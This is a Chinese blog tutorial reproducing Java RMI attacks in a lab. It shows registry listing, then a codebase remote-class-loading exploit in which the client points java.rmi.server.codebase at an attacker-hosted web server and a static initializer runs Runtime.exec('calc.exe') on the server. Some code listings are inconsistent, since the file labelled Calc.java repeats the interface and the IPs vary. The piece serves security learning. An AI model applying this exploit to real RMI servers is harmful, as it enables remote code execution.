Java安全[RMI(2)]

从RMI第一篇描述了RMI的通信过程和组成成分,总结一下,一个RMI过程有以下三个参与者:

  • RMI Registry
  • RMI Server
  • RMI Client

但是对于RMI Registry来说,一般在创建时,就直接和服务器端的一个对象进行绑定,所以最后只有Server和Client两部分代码,而Server中就自然包含了Registry和Server两部分:

1
2
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/Hello", new RemoteHelloWorld());

上述代码中,第一行是创建并运行RMI Registry,第二行是将RemoteHelloWorld对象绑定到Hello这个Name上。

Naming.bind的第一个参数是url,格式为rmi://host:post/name。这里的hostpost就是RMI Registry的地址和端口,name就是远程对象绑定的名字。

不过,如果RMI Registry在本地运行,那么hostport可以省略的,host默认为localhostport默认是1099

直接保留name就行,

1
Naming.bind("Hello",new RemoteHelloWorld());

第一篇大致讲了RMI整体的原理和流程,那么接下来自然要想到RMI会有哪些安全问题,可以分为两个方向

  • 如果我们能够访问RMI Registry,将如何对其进行攻击?
  • 如果我们可以控制目标RMI客户端中的Naming.lookup的第一个参数,也就是RMI Registry的地址和端口,能不能进行攻击?

Java安全[RMI(2)]

复现文章过程中遇到了很多问题,本文不全展示,请自行理解和搜索,动手操作学到更多

如何攻击RMI Registry?

从第一篇RMI文章中提到,服务器端用Naming.rebind绑定对象。比如下面代码就将RemoteHelloWorld类实例绑定在Registry中的Hello名上,192.168.135.142:1099RMI Registry的地址和端口

1
2
RemoteHelloWorld h = new RemoteHelloWorld();
Naming.bind("rmi://192.168.169.131:1099/Hello", h);

我们同时也知道在客户端也可以调用Naming,并且可以在RMI Registry中进行lookup查找,如果客户端也进行rebind,可不可以将Hello对应的对象修改覆盖掉呢?

可以先在本机上启动一个类似的server绑定虚拟机里的Registry

image-20230924170229091

但是发生报错,提示当前并非localhost

image-20230924170622609

这也是因为Java对远程访问RMI Registry做了限制,只有当请求访问的源地址是localhost时候,才可以进行调用rebind,bind,unbind等方法。

不过如果至少单纯列出绑定对象或者查找绑定对象,是没有这个限制的,如listlookup方法是可以远程调用的。

为了更加直观,现在虚拟机的服务器端,绑定了三个Name

image-20230924172154462

客户端代码

1
2
3
4
5
6
7
8
9
10
11
package RMI_2;

import java.rmi.Naming;
import java.util.Arrays;

public class RMI_Client_list {
public static void main(String[] args) throws Exception {
String[] s = Naming.list("rmi://192.168.169.131:1099");
System.out.println(Arrays.toString(s));
}
}

image-20230924172636783

lookup作用就是获得某个远程对象。那么,只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用,之前曾经有一个工具 https://github.com/NickstaDB/BaRMIe,其中一个功能就是进行危险方法的探测。 但是显然,RMI的攻击面绝不仅仅是这样没营养。

RMI利用codebase执行任意代码

大部分的Java的漏洞都是远程进行利用恶意类,但是在怎么让目标服务器能够下载并加载自己的恶意服务器上的恶意类,这里就涉及到了codebase

曾经浏览器可以直接运行java,就是通过Applet标签,但是在HTML5中不再支持,并在HTML 4.01 中不赞成使用 <applet> 元素。

Applet 是一种 Java 程序。它一般运行在支持 Java 的 Web 浏览器内。因为它有完整的 Java API支持,所以Applet 是一个全功能的 Java 应用程序。

<applet> 标签在 HTML 4 中用于定义嵌入式小程序(插件)。

使用Applet的时候通常需要指定一个codebase属性,如下

1
2
<applet code="HelloWorld.class" codebase="Applets" width="800" height="600">
</applet>

在RMI中远程加载时也同时涉及到了codebase

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如httpftp等。

如果指定codebase=http://example.com/,然后加载org.vulhub.example.Example 类,则java虚拟机就会下载http://example.com/org/vulhub/example/Example.class,并作为Example类的字节码。

在RMI中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,它会先从自己的CLASSPATH中进行寻找对应的类,如果在本地还是找不到,就会远程去加载codebase中的类。

所以如果codebase被控制,那么我们写上我们恶意类的CLASSPATH,当服务端本地加载不到的时候,就会通过我们控制的codebase下载恶意类,最后达到加载恶意类的目的。

在RMI中,codebase可以随着序列化数据一起传输,服务端接收到这个数据后,就先在CLASSPATH中寻找,然后去指定的codebase寻找类。最后就可能被codebase指向的恶意类控制导致被getshell或者任意命令执行。

环境配置和代码编写

环境配置,只有满足如下条件的RMI服务器才能被攻击

  • 安装并配置了SecurityManager

  • Java版本低于7u216u45,或者设置了 java.rmi.server.useCodebaseOnly=false

其中 java.rmi.server.useCodebaseOnly 是在Java 7u216u45的时候修改的一个默认设置:

我的环境

配置环境犯了个低级错误,客户端的java版本太高,编译出来的类文件无法被服务器的低版本java虚拟机加载,导致codebase指向的恶意类无法被正确加载

服务端:

  • ip: 192.168.169.136
  • java 17.5

客户端:

  • ip: 192.168.169.1
  • java 17.0.5

服务端的四个文件,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// RemoteRMIServer.java
package RMI_2;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}

// Calc.java
package RMI_2;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}

// ICalc.java
package RMI_2;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}

// client.policy
grant {
permission java.security.AllPermission;
};

然后编译三个java文件,并运行服务端

1
2
3
javac *

java -Djava.rmi.server.hostname=192.168.169.136 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy -cp E:\Java_Study\src\main\java RMI_2.RemoteRMIServer

*注意,第二段命令我是在cmd中运行,如果在powershell中运行需要把-D和java用引号分开,如

1
java -D"java.rmi.server.hostname=192.168.169.136" -D"java.rmi.server.useCodebaseOnly=false" -D"java.security.policy=client.policy" -cp E:\Java_Study\src\main\java RMI_2.RemoteRMIServer

执行后如下图,client.policy文件用于配置协议关闭java.security

执行时加上java.rmi.server.useCodebaseOnly=false允许服务端从RMI请求中获取加载codebase,若为true则java虚拟机将只信任预先配置好的codebase

java.rmi.server.hostname=192.168.168.131为服务端ip,也是客户端要访问的ip

image-20231014155150325

然后编写客户端,根据服务端文件的代码,指定这是一个运算加法的服务端,然后还有个ICalc接口文件,将其和客户端文件一个目录下。

客户端代码【p神的代码稍微在我环境下有点错误】

image-20231014162311620

主要是其中Payload这个内部类报错,因为在RMI中类是序列化传递的,如果内部类要被序列化传递,它必须是static的,否则会导致序列化问题。

内部类不能被序列化!

看到它是继承ArrayList,直接用ArrayList即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package RMI_2;

import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {
- public class Payload extends ArrayList<Integer> {
- }
public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://192.168.169.136:1099/refObj");
- List<Integer> li = new Payload();
+ List<Integer> li = new ArrayList<Integer>();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}

正常运行,发送到服务端,返回3,4相加后的结果7

image-20231014162928158

指定codebase

客户端再在RMI中指定codebase,向服务器发送请求,

1
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ -cp E:\Ttoc\Desktop\JAVA\JAVA_Study\src\main\java RMIClient.java

客户端先向远程对象发送codebase,并告诉了查询的类名称

image-20231017210721617

发现果然服务端通过客户端发送的codebase信息,到目标网站下进行寻找访问类,User-Agent就是服务端的java虚拟机。

image-20231014165043675

最后example.com响应返回404

image-20231014165505720

当然这里如果代码和p神一样也是可以的,还可以看到服务端也查找了内部类RMIClient$Payload,只不过客户端最后输出会报错,但是客户端还是成功把codebase发送给了服务端,服务端也在底下寻找内部类

可以从下方返回的数据包的顺序,知道服务器先寻找内部类,再寻找外部类

image-20231014171626991

加载恶意类

上面的流量分析知道服务端的java虚拟机确实会访问codebase的类文件,所以我们只需要把/RMIClient$Payload.class 改成恶意类即可,当然在RMIClient中写上恶意类也可以,这里以在内部类Payload为例子

加上恶意类后的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package RMI_2;

import java.io.IOException;
import java.io.Serializable;
import java.rmi.Naming;
import java.util.ArrayList;
import java.util.List;
public class RMIClient implements Serializable {
public class Payload extends ArrayList<Integer> {
static {
try {
Runtime rt = Runtime.getRuntime();
String commands = "calc.exe";
Process p = rt.exec(commands);
p.waitFor();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://192.168.169.146:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}

重新编译生成类文件

1
javac *.java

这里遇到一个坑,因为Payload是内部类,其本质还是为RMIClient$Payload

而这里,我将恶意类写在了内部类中,所以最后服务端要执行内部类的静态方法也就是我们的恶意方法,还需要加载外部类RMIClient,所以我们需要将内部类RMIClient$Payload和外部类RMIClient都放在恶意服务器等着服务端加载

如果将恶意方法写在外部类中,就只有把外部类RMIClient放在恶意服务器上等着服务端加载就可以执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package RMI_2;

import java.io.IOException;
import java.io.Serializable;
import java.rmi.Naming;
import java.util.ArrayList;
import java.util.List;
public class RMIClient implements Serializable {
static {
try {
Runtime rt = Runtime.getRuntime();
String commands = "calc.exe";
Process p = rt.exec(commands);
p.waitFor();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
public class Payload extends ArrayList<Integer> {
}
public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://192.168.169.146:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}


因为服务端是虚拟机中运行,我直接在物理机用wsl安装apache2上把这两个类文件放上去(为什么放两个类,原因见上)

image-20231017222948310

记得目录必须按照格式需要为包名

修改上面的example.comwslip即可

1
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://x.x.x.x/ -cp E:\Ttoc\Desktop\JAVA\JAVA_Study\src\main\java RMIClient.java

可以看到访问成功,

image-20231017223047942

网站也将类的内容返回给java-vm

image-20231017213458878

查看服务端

image-20231017223143987

执行成功


*注意,进行RMI时,客户端接口文件的包名必须和服务器包名必须一样

如下,在RMI_2包中,我的接口文件的包名也是RMI_2,但是服务端的接口文件包名是RMI_1

客户端:

image-20230921193958356

服务端:

image-20230921193926761

报错,

image-20230921193717284

这个异常是由于Java模块化系统引入的。在Java 9及更高版本中,引入了模块化系统,它会对类加载和模块之间的依赖关系进行更严格的控制。这个异常消息表明你正在尝试将一个接口从一个模块加载到另一个模块,而两者之间可能存在访问限制。

解决这个问题的方法之一是确保你的RMI接口和实现都在相同的模块中,或者在相同的模块路径下。这样,它们将属于同一模块,不会出现模块之间的访问问题。

所以,只客户端只需要导入RMI_1包中的接口,就可以成功访问到服务端。

image-20230921194236577